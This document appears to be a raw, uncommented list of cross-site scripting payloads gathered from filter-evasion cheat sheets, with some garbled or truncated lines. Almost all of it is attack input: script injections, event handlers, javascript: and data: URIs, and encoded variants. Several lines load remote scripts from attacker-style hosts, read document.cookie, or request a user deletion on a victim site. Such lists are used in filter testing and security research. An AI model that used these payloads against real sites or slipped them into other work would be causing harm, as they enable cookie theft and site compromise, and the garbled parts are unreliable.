<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdade-03c6-11d1-8b76-0080c744f389><param name=url
value=javascript:javascript:alert(1)></OBJECT>

```

[illegible]

```
<#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>  
<IMG  
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>  
<IMG  
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  
<IMG SRC="jav ascript:alert('XSS');">  
<IMG SRC="jav&#x09;ascript:alert('XSS');">  
<IMG SRC="jav&#x0A;ascript:alert('XSS');">  
<IMG SRC="jav&#x0D;ascript:alert('XSS');">  
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out  
<IMG SRC=" &#14; javascript:alert('XSS');">  
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<BODY onload!#$%&()*~+-_.,:;?@[/\|\\]^`=alert("XSS")>  
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>  
<<SCRIPT>alert("XSS");//<</SCRIPT>  
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >  
<SCRIPT SRC="//ha.ckers.org/.j>  
<IMG SRC="javascript:alert('XSS')"  
<iframe src=http://ha.ckers.org/scriptlet.html <br />  
</TITLE><SCRIPT>alert("XSS");</SCRIPT>  
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">  
<BODY BACKGROUND="javascript:alert('XSS')">  
<IMG DYNSRC="javascript:alert('XSS')">  
<IMG LOWSRC="javascript:alert('XSS')">  
<STYLE>li {list-style-image:  
url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>  
<IMG SRC='vbscript:msgbox("XSS")'>  
<IMG SRC="livescript:[code]">  
<BODY ONLOAD=alert('XSS')>  
<BG SOUND SRC="javascript:alert('XSS');">  
<BR SIZE="{alert('XSS')}">  
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">  
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">  
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>  
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">  
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>  
<STYLE>@im\port'\ja\vasc\rript:alert("XSS")';</STYLE>  
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">  
exp/*<A STYLE='no\xss:noxss("**/**")';xss:ex/*XSS**/**/pression(alert("XSS"))'>  
<STYLE TYPE="text/javascript">alert('XSS');//</STYLE>  
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A  
CLASS=XSS></A>  
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')");}</STYLE>  
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')");}</STYLE>  
<XSS STYLE="xss:expression(alert('XSS'))">  
<XSS STYLE="behavior: url(xss.htc);">  
Â¼scriptÂ¼alert(Â¢XSSÂ¢)Â¼/scriptÂ¼  
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">  
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html  
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">  
<META HTTP-EQUIV="refresh" CONTENT="0;  
URL=http://;URL=javascript:alert('XSS');">  
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>  
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>  
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>  
<TABLE BACKGROUND="javascript:alert('XSS')">  
<TABLE><TD BACKGROUND="javascript:alert('XSS')">  
<DIV STYLE="background-image: url(javascript:alert('XSS'))">  
<DIV STYLE="background-image:
```

```
00705\0072\006C\0028\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\006
1\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF="javascript:alert('XSS');//">
  <OBJECT TYPE="text/x-scriptlet"
DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC="
A6Ly93d3cudzMub3JnLzIwMDAv3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIEhtbG5zOnhsaW50PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNTYXNjcmlwdCI+YWxlcnc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'<!--#exec cmd="/bin/echo 'IPT
SRC=http://ha.ckers.org/xss.js"></SCRIPT>'<!--#
<? echo('<SCR');echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?
somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x00000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="http://66.102.7.147/">XSS</A>
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<svg><script>alert&lpar;1&rpar; {Opera}
<img/src="` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"

<script /**/>/**/alert(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='&u0061lert(1)'">
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-
equiv="refresh"/>
<svg><script
xlink:href=data&colon;;window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:&u0061lert&#x28;1&#x29;">X
</script><img/*src="worksinchrome&colon;prompt&#x28;1&#x29;"/*
onerror='eval(src)'">
<img&#09;&#10;&#11; src="` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-
```



```
cert;&NewLine;base64&NewLine;;PHNjcmlwdD5hbGVydCgxKTWvc2NyaXB0Pg=="&#09;&#10;&#1
1;>X</a
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00;
onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script
&#32; :-(<
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /****/>****/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/
****/</script /****/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)"
onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style//><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javascript&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/
type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//||\<script //||\ src='https://dl.dropbox.com/u/13018058/js.js'> //||\
</script //||\
</font></svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font></
style>
<a/href="javascript:&#13;javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>'<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;
{Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%"
onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/
helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<%!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src /\>/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
<iframe
src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&T
ab;r&Tab;t&Tab;%28&Tab;1&Tab;%29<</iframe>
<img src=`xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/"></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)">
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf"
```

```

allowsriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074(' \u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.
\u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data:colon;text%2Fj\u0061v\u0061script,\u0061lert(' \u0061')"></
script a=\u0061 & /=%2F
<script/src=data:colon;text/
j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+--+1--+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\onerror = alert(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaaa aaaaaaaaaa aaaaaaaaaa
href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97;text/
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&
#x00000072;&#x00074;(1)></script>
<div style="position:absolute;top:0;left:0;width:100%;height:100%"
onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Y9vbmxbvYQ9YWxlcuQoMik+></object>
<iframe src="data:text/html,
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></
iframe>
<a
href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&
#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#
109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#
60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
';!--"<XSS>=&{() }
'>/\,\,<'>">"*"
'); alert('XSS
<script>alert(1);</script>
<script>alert('XSS');</script>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG """"><SCRIPT>alert("XSS")</SCRIPT>>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<? echo('<scr'); echo('ipt>alert(\"XSS\")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
"><script>alert(0)</script>
<script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\"javascript:alert('XSS')\">

```

```

<IMG DYNSRC=\"javascript:alert('XSS')\">
<font style='color:expression(alert(document.cookie))'>
<img src=\"javascript:alert('XSS')\">
<script language=\"JavaScript\">alert('XSS')</script>
<body onunload=\"javascript:alert('XSS');\">
<body onLoad=\"alert('XSS');\"
[color=red' onmouseover=\"alert('xss')\"]mouse over[/color]
\"/></a></><img src=1.gif onerror=alert(1)>
window.alert(\"Bonjour !\");
<div style=\"x:expression((window.r==1)?':eval('r=1;
alert(String.fromCharCode(88,83,83));')')\">
<iframe?php echo chr(11)?> onload=alert('XSS')></iframe>
\"><script alert(String.fromCharCode(88,83,83))</script>
'><marquee><h1>XSS</h1></marquee>
'\"><script>alert('XSS')</script>
'\"><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<script>var var = 1; alert(var)</script>
<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>
<?='<SCRIPT>alert(\"XSS\")</SCRIPT>'>
<IMG SRC='vbscript:msgbox(\"XSS\")'>
\" onfocus=alert(document.domain) \"> <\"
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
<STYLE>li {list-style-image:
url(\"javascript:alert('XSS')\")};</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\\0IPT>alert(\"XSS\\0\")</SCR\\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\\0script:alert(\"XSS\\0\")>\";' > out
<br size=\"&{alert('XSS')}\">
<scrsriptipt>alert(1)</scrsriptipt>
</br style=a:expression(alert())>
</script><script>alert(1)</script>
\"><BODY onload!#$%&()*~+-_.,:;?@[/\|\\]^`=alert(\"XSS\")>
[color=red width=expression(alert(123))][color]
<BASE HREF=\"javascript:alert('XSS');//\">
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
\"></iframe><script>alert(123)</script>
<body onLoad=\"while(true) alert('XSS');\">
'\"></title><script>alert(1111)</script>
</textarea>'\"><script>alert(document.cookie)</script>
'\"\"><script language=\"JavaScript\"> alert('X \nS \nS');</script>
</script></script><<<<script><>>>><<<<script>alert(123)</script>
<html><noalert><noscript>(123)</noscript><script>(123)</script>
<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">
'></select><script>alert(123)</script>
'>><script src = 'http://www.site.com/XSS.js'></script>
}</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
<SCRIPT>document.write(\"XSS\");</SCRIPT>
a=\"get\";b=\"URL\";c=\"javascript:\";d=\"alert('xss')\";eval(a+b+c+d);
='><script>alert(\"xss\")</script>
<script+src=\">\"+src=\"http://yoursite.com/xss.js?69,69\"></script>
<body background=javascript:'\"><script>alert(navigator.userAgent)</script>></
body>
\">/XaDoS/><script>alert(document.cookie)</script><script
src=\"http://www.site.com/XSS.js\"></script>
\">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
src=\"http://www.site.com/XSS.js\"></script>
data:text/
html;charset=utf-7;base64,Ij48L3RpdGxlpjxzY3JpcHQ+YWxlcnQoMTMzNy8L3NjcmlwdD4=
!--\" /><script>alert('xss')</script>
<script>alert(\"XSS by \n xss\")</script><marquee><h1>XSS by xss</h1></marquee>
\"><script>alert(\"XSS by \n xss\")</script>><marquee><h1>XSS by xss</h1></marquee>
'\"></title><script>alert(\"XSS by \n xss\")</script>><marquee><h1>XSS by

```

```
xss</h1></marquee>
<img ""><script>alert("XSS by \nxss")</script><marquee><h1>XSS by
xss</h1></marquee>
<script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
'"></title><script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by
xss</h1></marquee>
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
http://www.simpatie.ro/index.php?
page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??
XSS??
http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
'); alert('xss'); var x='
\\'); alert('\\xss\\');var x=\\
//--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
>"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
</img>
</body>
</html>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> alert(âXSSâ); </SCRIPT>
<BODY ONLOAD=alert("XSS")>
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG SRC="javascript:alert('XSS');">
```

```

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IFRAME SRC="http://hacker-site.com/xss.html" >
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
&apos;;alert(String.fromCharCode(88,83,83))//
&apos;;alert(String.fromCharCode(88,83,83))//
&quot;;alert(String.fromCharCode(88,83,83))//
&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/
SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;/SCRIPT&gt;alert(String.fromCharCode(88,83,83))
&lt;/SCRIPT&gt;
&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}
&lt;/SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;
&lt;/SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
&lt;/SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&lt;/BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/BASE&gt;
&lt;/BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/BGSOUND&gt;
&lt;/BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/BODY&gt;
&lt;/BODY ONLOAD=alert(&apos;XSS&apos;)&gt;&lt;/BODY&gt;
&lt;/DIV STYLE=&quot;background-image:
url(javascript:alert(&apos;XSS&apos;))&quot;&gt;&lt;/DIV&gt;
&lt;/DIV STYLE=&quot;background-image:
url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;&lt;/DIV&gt;
&lt;/DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;&lt;/DIV&gt;
&lt;/FRAMESET&gt;&lt;/FRAMESET&gt;
&lt;/IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;
&lt;/INPUT TYPE=&quot;IMAGE&quot;
SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/INPUT&gt;
&lt;/IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IMG&gt;
&lt;/IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;&lt;/IMG&gt;
&lt;/IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IMG&gt;
&lt;/IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IMG&gt;
&lt;/IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?
somevariables=maliciouscode&quot;&gt;&lt;/IMG&gt;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser
exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*/&quot;);&lt;/XSS&gt;
&lt;/STYLE&gt;li {list-style-image:
url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;/LI&gt;
&lt;/LI&gt;XSS
&lt;/IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;&lt;/IMG&gt;
&lt;/LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;
&lt;/IMG SRC=&quot;livescript:[code]&quot;&gt;&lt;/IMG&gt;
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
&lt;/META HTTP-EQUIV=&quot;refresh&quot;
CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/META&gt;
&lt;/META HTTP-EQUIV=&quot;refresh&quot;
CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD
4K&quot;&gt;&lt;/META&gt;
&lt;/META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;
URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/META&gt;
&lt;/IMG SRC=&quot;mocha:[code]&quot;&gt;&lt;/IMG&gt;
&lt;/OBJECT TYPE=&quot;text/x-scriptlet&quot;
DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;
&lt;/OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;/OBJECT&gt;
name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;
&lt;/EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot;
AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;

```

```

a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:
&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);
&lt;STYLE
TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;
&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;
&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;
&lt;STYLE&gt;.XSS{background-
image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A
CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE
type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XS
S&apos;)&quot;);}&lt;/STYLE&gt;
&lt;LINK REL=&quot;stylesheet&quot;
HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;LINK REL=&quot;stylesheet&quot;
HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;
&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=&quot;Link&quot;
Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;
&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/
xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;
&lt;TABLE
BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;
&lt;TABLE&gt;&lt;TD
BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/
TABLE&gt;
&lt;HTML xmlns:xss&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![
CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!--
--&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;XML SRC=&quot;http://ha.ckers.org/xsctest.xml&quot; ID=I&gt;&lt;/XML&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;!--[if gte IE 4]&gt;
&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot;
Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;
&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;
&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--
#exec cmd=&quot;/bin/echo
&apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;
&lt;? echo(&apos;&lt;SCR&apos;);
&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;
&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;
&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;
&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;
&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;
&lt;IMG
SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;
&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&
&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;
&lt;IMG
SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#00000
99&amp;#0000114&amp;#0000105&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097
